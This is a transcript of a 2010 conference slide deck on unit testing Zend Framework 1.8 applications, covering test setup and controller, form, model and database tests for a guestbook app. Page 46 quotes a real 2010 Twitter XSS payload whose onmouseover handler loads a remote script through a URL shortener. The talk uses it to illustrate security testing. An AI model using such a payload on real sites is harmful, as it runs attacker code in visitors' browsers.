Download - Unit testing after Zend Framework 1.8

Transcript
Page 1: Unit testing after Zend Framework 1.8

Unit Testing after ZF 1.8Michelangelo van Dam

ZendCon 2010, Santa Clara, CA (USA)

Page 2: Unit testing after Zend Framework 1.8

Michelangelo van Dam• Independent Consultant

• Zend Certified Engineer (ZCE)

• President of PHPBenelux

Page 3: Unit testing after Zend Framework 1.8

This session

What has changed with ZF 1.8 ?How do we set up our environment ?

How are we testing controllers ?How are we testing forms ?

How are we testing models ?

Page 4: Unit testing after Zend Framework 1.8

New to unit testing ?

Page 5: Unit testing after Zend Framework 1.8

phpunit.de

http://www.phpunit.de

Page 6: Unit testing after Zend Framework 1.8

Matthew Weier O’Phinney

http://www.slideshare.net/weierophinney/testing-zend-framework-applications

Page 8: Unit testing after Zend Framework 1.8

Zend Framework 1.8

Page 9: Unit testing after Zend Framework 1.8

Birth of Zend_Application

• bootstrapping an “app”• works the same for any environment• resources through methods (no registry)• clean separation of tests- unit tests- controller tests- integration tests (db, web services, …)

Page 10: Unit testing after Zend Framework 1.8

Types of tests

Page 11: Unit testing after Zend Framework 1.8

Unit Testing

• smallest functional code snippet (unit)- function or class method• aims to challenge logic- proving A + B gives C (and not D)• helpful for refactoring• essential for bug fixing (is it really a bug ?)• TDD results in better code• higher confidence for developers -> managers

Page 12: Unit testing after Zend Framework 1.8

Controller Testing

• tests your (ZF) app- is this url linked to this controller ?• detects early errors- on front-end (route/page not found)- on back-end (database changed, service down, …)• tests passing back and forth of params• form validation and filtering• security testing (XSS, SQL injection, …)

Page 13: Unit testing after Zend Framework 1.8

Database Testing

• tests the functionality of your database- referred to as “integration testing”• checks functionality- CRUD- stored procedures- triggers and constraints• verifies no mystery data changes happen- UTF-8 in = UTF-8 out

Page 14: Unit testing after Zend Framework 1.8

Application Testing

Page 15: Unit testing after Zend Framework 1.8

Setting things up

Page 16: Unit testing after Zend Framework 1.8

phpunit.xml<phpunit bootstrap="./TestHelper.php" colors="true"> <testsuite name="Zend Framework Unit Test Demo"> <directory>./</directory> </testsuite>

<!-- Optional settings for filtering and logging --> <filter> <whitelist> <directory suffix=".php">../library/</directory> <directory suffix=".php">../application/</directory> <exclude> <directory suffix=".phtml">../application/</directory> </exclude> </whitelist> </filter>

<logging> <log type="coverage-html" target="./log/report" charset="UTF-8" yui="true" highlight="true" lowUpperBound="50" highLowerBound="80"/> <log type="testdox-html" target="./log/testdox.html" /> </logging></phpunit>

Page 17: Unit testing after Zend Framework 1.8

TestHelper.php<?php// set our app paths and environmentsdefine('BASE_PATH', realpath(dirname(__FILE__) . '/../'));define('APPLICATION_PATH', BASE_PATH . '/application');define('TEST_PATH', BASE_PATH . '/tests');define('APPLICATION_ENV', 'testing');

// Include pathset_include_path('.' . PATH_SEPARATOR . BASE_PATH . '/library' . PATH_SEPARATOR . get_include_path());

// Set the default timezone !!!date_default_timezone_set('Europe/Brussels');

require_once 'Zend/Application.php';$application = new Zend_Application(APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini');$application->bootstrap();

Page 18: Unit testing after Zend Framework 1.8

TestHelper.php<?php// set our app paths and environmentsdefine('BASE_PATH', realpath(dirname(__FILE__) . '/../'));define('APPLICATION_PATH', BASE_PATH . '/application');define('TEST_PATH', BASE_PATH . '/tests');define('APPLICATION_ENV', 'testing');

// Include pathset_include_path('.' . PATH_SEPARATOR . BASE_PATH . '/library' . PATH_SEPARATOR . get_include_path());

// Set the default timezone !!!date_default_timezone_set('Europe/Brussels');

require_once 'Zend/Application.php';$application = new Zend_Application(APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini');$application->bootstrap();

Page 19: Unit testing after Zend Framework 1.8

ControllerTestCase.php<?phprequire_once 'Zend/Application.php';require_once 'Zend/Test/PHPUnit/ControllerTestCase.php';

abstract class ControllerTestCase extends Zend_Test_PHPUnit_ControllerTestCase{ protected function setUp() { // we override the parent::setUp() to solve an issue regarding not // finding a default module }}

Page 20: Unit testing after Zend Framework 1.8

Directory Strategy/application /configs /controllers /forms /models /modules /guestbook /apis /controllers /forms /models /views /helpers /filters /scripts /views /helpers /filters /scripts/library/public/tests

/tests /application /controllers /forms /models /modules /guestbook /apis /controllers /forms /models

Page 21: Unit testing after Zend Framework 1.8

Testing Controllers

Page 22: Unit testing after Zend Framework 1.8

Homepage testing<?php// file: tests/application/controllers/IndexControllerTest.phprequire_once TEST_PATH . '/ControllerTestCase.php';

class IndexControllerTest extends ControllerTestCase{ public function testCanWeDisplayOurHomepage() { // go to the main page of the web application $this->dispatch('/'); // check if we don't end up on an error page $this->assertNotController('error'); $this->assertNotAction('error'); // ok, no error so let's see if we're at our homepage $this->assertModule('default'); $this->assertController('index'); $this->assertAction('index'); $this->assertResponseCode(200); }}

Page 23: Unit testing after Zend Framework 1.8

Running the tests

Page 24: Unit testing after Zend Framework 1.8

testdox.html

Page 25: Unit testing after Zend Framework 1.8

Code coverage

Page 26: Unit testing after Zend Framework 1.8

Testing Forms

Page 27: Unit testing after Zend Framework 1.8

Guestbook form

fullName

emailAddress

website

comment

submit

Page 28: Unit testing after Zend Framework 1.8

Simple comment form<?phpclass Application_Form_Comment extends Zend_Form{ public function init() { $this->addElement('text', 'fullName', array ( 'label' => 'Full name', 'required' => true)); $this->addElement('text', 'emailAddress', array ( 'label' => 'E-mail address', 'required' => true)); $this->addElement('text', 'website', array ( 'label' => 'Website URL', 'required' => false)); $this->addElement('textarea', 'comment', array ( 'label' => 'Your comment', 'required' => false)); $this->addElement('submit', 'send', array ( 'Label' => 'Send', 'ignore' => true)); }}

Page 29: Unit testing after Zend Framework 1.8

CommentController<?php

class CommentController extends Zend_Controller_Action{ protected $_session; public function init() { $this->_session = new Zend_Session_Namespace('comment'); }

public function indexAction() { $form = new Application_Form_Comment(array ( 'action' => $this->_helper->url('send-comment'), 'method' => 'POST', )); if (isset ($this->_session->commentForm)) { $form = unserialize($this->_session->commentForm); unset ($this->_session->commentForm); } $this->view->form = $form; }}

Page 30: Unit testing after Zend Framework 1.8

Comment processing<?php

class CommentController extends Zend_Controller_Action{ …

public function sendCommentAction() { $request = $this->getRequest(); if (!$request->isPost()) { return $this->_helper->redirector('index'); } $form = new Application_Form_Comment(); if (!$form->isValid($request->getPost())) { $this->_session->commentForm = serialize($form); return $this->_helper->redirector('index'); } $values = $form->getValues(); $this->view->values = $values; }}

Page 31: Unit testing after Zend Framework 1.8

Views<!-- file: application/views/scripts/comment/index.phtml -->

<?php echo $this->form ?>

<!-- file: application/views/scripts/comment/send-comment.phtml --><dl><?php if (isset ($this->values['website'])): ?><dt id="fullName"><a href="<?php echo $this->escape($this->values['website']) ?>"><?php echo $this->escape($this->values['fullName']) ?></a></dt><?php else: ?><dt id="fullName"><?php echo $this->escape($this->values['fullName']) ?></dt><?php endif; ?><dd id="comment"><?php echo $this->escape($this->values['comment']) ?></dd></dl>

Page 32: Unit testing after Zend Framework 1.8

The Form

Page 33: Unit testing after Zend Framework 1.8

Comment processed

Page 34: Unit testing after Zend Framework 1.8

And now… testing

Page 35: Unit testing after Zend Framework 1.8

Starting simple<?php

// file: tests/application/controllers/IndexControllerTest.phprequire_once TEST_PATH . '/ControllerTestCase.php';

class CommentControllerTest extends ControllerTestCase{ public function testCanWeDisplayOurForm() { // go to the main comment page of the web application $this->dispatch('/comment'); // check if we don't end up on an error page $this->assertNotController('error'); $this->assertNotAction('error'); $this->assertModule('default'); $this->assertController('comment'); $this->assertAction('index'); $this->assertResponseCode(200); $this->assertQueryCount('form', 1); $this->assertQueryCount('input[type="text"]', 2); $this->assertQueryCount('textarea', 1); }}

$this->assertQueryCount('form', 1);$this->assertQueryCount('input[type="text"]', 3);$this->assertQueryCount('textarea', 1);

Page 36: Unit testing after Zend Framework 1.8

GET request = index ?public function testSubmitFailsWhenNotPost()

{ $this->request->setMethod('get'); $this->dispatch('/comment/send-comment'); $this->assertResponseCode(302); $this->assertRedirectTo('/comment');}

Page 37: Unit testing after Zend Framework 1.8

Can we submit our form ?public function testCanWeSubmitOurForm(){ $this->request->setMethod('post') ->setPost(array ( 'fullName' => 'Unit Tester', 'emailAddress' => '[email protected]', 'website' => 'http://www.example.com', 'comment' => 'This is a simple test', )); $this->dispatch('/comment/send-comment');

$this->assertQueryCount('dt', 1); $this->assertQueryCount('dd', 1); $this->assertQueryContentContains('dt#fullName', '<a href="http://www.example.com">Unit Tester</a>'); $this->assertQueryContentContains('dd#comment', 'This is a simple test');}

Page 38: Unit testing after Zend Framework 1.8

All other cases ?/** * @dataProvider wrongDataProvider */public function testSubmitFailsWithWrongData($fullName, $emailAddress, $comment){ $this->request->setMethod('post') ->setPost(array ( 'fullName' => $fullName, 'emailAddress' => $emailAddress, 'comment' => $comment, )); $this->dispatch('/comment/send-comment'); $this->assertResponseCode(302); $this->assertRedirectTo('/comment');}

Page 39: Unit testing after Zend Framework 1.8

wrongDataProviderpublic function wrongDataProvider()

{ return array ( array ('', '', ''), array ('~', 'bogus', ''), array ('', '[email protected]', 'This is correct text'), array ('Test User', '', 'This is correct text'), array ('Test User', '[email protected]', str_repeat('a', 50001)), );}

Page 40: Unit testing after Zend Framework 1.8

Running the tests

Page 41: Unit testing after Zend Framework 1.8

Our testdox.html

Page 42: Unit testing after Zend Framework 1.8

Code Coverage

Page 43: Unit testing after Zend Framework 1.8

Practical use

Page 44: Unit testing after Zend Framework 1.8

September 21, 2010

Page 46: Unit testing after Zend Framework 1.8

The exploit

http://t.co/@”style=”font-size:999999999999px; ”onmouseover=”$.getScript(‘http:\u002f\u002fis.gd\u002ffl9A7′)”/

http://www.developerzen.com/2010/09/21/write-your-own-twitter-com-xss-exploit/

Page 47: Unit testing after Zend Framework 1.8

Unit Testing (models)

Page 48: Unit testing after Zend Framework 1.8

Guestbook Models

Page 49: Unit testing after Zend Framework 1.8

Testing models

• uses core PHPUnit_Framework_TestCase class• tests your business logic !• can run independent from other tests• model testing !== database testing- model testing tests the logic in your objects- database testing tests the data storage

Page 50: Unit testing after Zend Framework 1.8

Model setUp/tearDown<?phprequire_once 'PHPUnit/Framework/TestCase.php';class Application_Model_GuestbookTest extends PHPUnit_Framework_TestCase{ protected $_gb; protected function setUp() { parent::setUp(); $this->_gb = new Application_Model_Guestbook(); } protected function tearDown() { $this->_gb = null; parent::tearDown(); } …}

Page 51: Unit testing after Zend Framework 1.8

Simple testspublic function testGuestBookIsEmptyAtConstruct(){ $this->assertType('Application_Model_GuestBook', $this->_gb); $this->assertFalse($this->_gb->hasEntries()); $this->assertSame(0, count($this->_gb->getEntries())); $this->assertSame(0, count($this->_gb));}public function testGuestbookAddsEntry(){ $entry = new Application_Model_GuestbookEntry(); $entry->setFullName('Test user') ->setEmailAddress('[email protected]') ->setComment('This is a test'); $this->_gb->addEntry($entry); $this->assertTrue($this->_gb->hasEntries()); $this->assertSame(1, count($this->_gb));}

Page 52: Unit testing after Zend Framework 1.8

GuestbookEntry tests…public function gbEntryProvider(){ return array ( array (array ( 'fullName' => 'Test User', 'emailAddress' => '[email protected]', 'website' => 'http://www.example.com', 'comment' => 'This is a test', 'timestamp' => '2010-01-01 00:00:00', )), array (array ( 'fullName' => 'Test Manager', 'emailAddress' => '[email protected]', 'website' => 'http://tests.example.com', 'comment' => 'This is another test', 'timestamp' => '2010-01-01 01:00:00', )), );}

/** * @dataProvider gbEntryProvider * @param $data */public function testEntryCanBePopulatedAtConstruct($data){ $entry = new Application_Model_GuestbookEntry($data); $this->assertSame($data, $entry->__toArray());}…

Page 53: Unit testing after Zend Framework 1.8

Running the tests

Page 54: Unit testing after Zend Framework 1.8

Our textdox.html

Page 55: Unit testing after Zend Framework 1.8

Code Coverage

Page 56: Unit testing after Zend Framework 1.8

Database Testing

Page 57: Unit testing after Zend Framework 1.8

Database Testing

• integration testing- seeing records are getting updated- data models behave as expected- data doesn't change encoding (UTF-8 to Latin1)• database behaviour testing- CRUD- stored procedures- triggers- master/slave - cluster- sharding

Page 58: Unit testing after Zend Framework 1.8

Caveats

• database should be reset in a “known state”- no influence from other tests• system failures cause the test to fail- connection problems• unpredictable data fields or types- auto increment fields- date fields w/ CURRENT_TIMESTAMP

Page 59: Unit testing after Zend Framework 1.8

Converting modelTest

Page 60: Unit testing after Zend Framework 1.8

Model => database<?php

require_once 'PHPUnit/Framework/TestCase.php';class Application_Model_GuestbookEntryTest extends PHPUnit_Framework_TestCase{…}

Becomes

<?phprequire_once TEST_PATH . '/DatabaseTestCase.php';class Application_Model_GuestbookEntryTest extends DatabaseTestCase{…}

Page 61: Unit testing after Zend Framework 1.8

DatabaseTestCase.php<?php

require_once 'Zend/Application.php';require_once 'Zend/Test/PHPUnit/DatabaseTestCase.php';require_once 'PHPUnit/Extensions/Database/DataSet/FlatXmlDataSet.php';

abstract class DatabaseTestCase extends Zend_Test_PHPUnit_DatabaseTestCase{ private $_dbMock; private $_application; protected function setUp() { $this->_application = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini'); $this->bootstrap = array($this, 'appBootstrap'); parent::setUp(); } …

Page 62: Unit testing after Zend Framework 1.8

DatabaseTestCase.php (2) …

public function appBootstrap() { $this->application->bootstrap(); } protected function getConnection() { if (null === $this->_dbMock) { $bootstrap = $this->application->getBootstrap(); $bootstrap->bootstrap('db'); $connection = $bootstrap->getResource('db'); $this->_dbMock = $this->createZendDbConnection($connection,'in2it'); Zend_Db_Table_Abstract::setDefaultAdapter($connection); } return $this->_dbMock; } protected function getDataSet() { return $this->createFlatXMLDataSet( dirname(__FILE__) . '/_files/initialDataSet.xml'); }}

Page 63: Unit testing after Zend Framework 1.8

_files/initialDataSet.xml<?xml version="1.0" encoding="UTF-8"?>

<dataset> <gbentry id="1" fullName="Test User" emailAddress="[email protected]" website="http://www.example.com" comment="This is a first test" timestamp="2010-01-01 00:00:00"/> <gbentry id="2" fullName="Obi Wan Kenobi" emailAddress="[email protected]" website="http://www.jedi-council.com" comment="May the phporce be with you" timestamp="2010-01-01 01:00:00"/> <comment id="1" comment= "Good article, thanks"/> <comment id="2" comment= "Haha, Obi Wan… liking this very much"/> …</dataset>

Page 64: Unit testing after Zend Framework 1.8

A simple DB testpublic function testNewEntryPopulatesDatabase()

{ $data = $this->gbEntryProvider(); foreach ($data as $row) { $entry = new Application_Model_GuestbookEntry($row[0]); $entry->save(); unset ($entry); } $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection() ); $ds->addTable('gbentry', 'SELECT * FROM gbentry'); $dataSet = $this->createFlatXmlDataSet( TEST_PATH . "/_files/addedTwoEntries.xml"); $filteredDataSet = new PHPUnit_Extensions_Database_DataSet_DataSetFilter( $dataSet, array('gbentry' => array('id'))); $this->assertDataSetsEqual($filteredDataSet, $ds);}

Page 65: Unit testing after Zend Framework 1.8

location of datasets<approot>/application /public /tests /_files initialDataSet.xml readingDataFromSource.xml

Page 66: Unit testing after Zend Framework 1.8

Running the tests

Page 67: Unit testing after Zend Framework 1.8

Our textdox.html

Page 68: Unit testing after Zend Framework 1.8

CodeCoverage

Page 69: Unit testing after Zend Framework 1.8

Changing recordspublic function testNewEntryPopulatesDatabase(){ $data = $this->gbEntryProvider(); foreach ($data as $row) { $entry = new Application_Model_GuestbookEntry($row[0]); $entry->save(); unset ($entry); } $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection() ); $ds->addTable('gbentry', 'SELECT fullName, emailAddress, website, comment, timestamp FROM gbentry'); $this->assertDataSetsEqual( $this->createFlatXmlDataSet( TEST_PATH . "/_files/addedTwoEntries.xml"), $ds );}

Page 70: Unit testing after Zend Framework 1.8

Expected resultset<?xml version="1.0" encoding="UTF-8"?><dataset> <gbentry fullName="Test User" emailAddress="[email protected]" website="http://www.example.com" comment="This is a first test" timestamp="2010-01-01 00:00:00"/> <gbentry fullName="Obi Wan Kenobi" emailAddress="[email protected]" website="http://www.jedi-council.com" comment="May the phporce be with you" timestamp="2010-01-01 01:00:00"/> <gbentry fullName="Test User" emailAddress="[email protected]" website="http://www.example.com" comment="This is a test" timestamp="2010-01-01 00:00:00"/> <gbentry fullName="Test Manager" emailAddress="[email protected]" website="http://tests.example.com" comment="This is another test" timestamp="2010-01-01 01:00:00"/></dataset>

Page 71: Unit testing after Zend Framework 1.8

location of datasets<approot>/application /public /tests /_files initialDataSet.xml readingDataFromSource.xml addedTwoEntries.xml

Page 72: Unit testing after Zend Framework 1.8

Running the tests

Page 73: Unit testing after Zend Framework 1.8

The testdox.html

Page 74: Unit testing after Zend Framework 1.8

CodeCoverage

Page 75: Unit testing after Zend Framework 1.8

Testing strategies

Page 76: Unit testing after Zend Framework 1.8

Desire vs Reality

• desire- +70% code coverage- test driven development- clean separation of tests

• reality- test what counts first (business logic)- discover the “unknowns” and test them- combine unit tests with integration tests

Page 77: Unit testing after Zend Framework 1.8

Automation

• using a CI system- continuous running your tests- reports immediately when failure- provides extra information‣ copy/paste detection‣ mess detection &dependency calculations‣ lines of code‣ code coverage‣ story board and test documentation‣ …

Page 78: Unit testing after Zend Framework 1.8

• http://slideshare.net/DragonBe/unit-testing-after-zf-18• http://github.com/DragonBe/zfunittest

• http://twitter.com/DragonBe• http://facebook.com/DragonBe

• http://joind.in/2243

Questions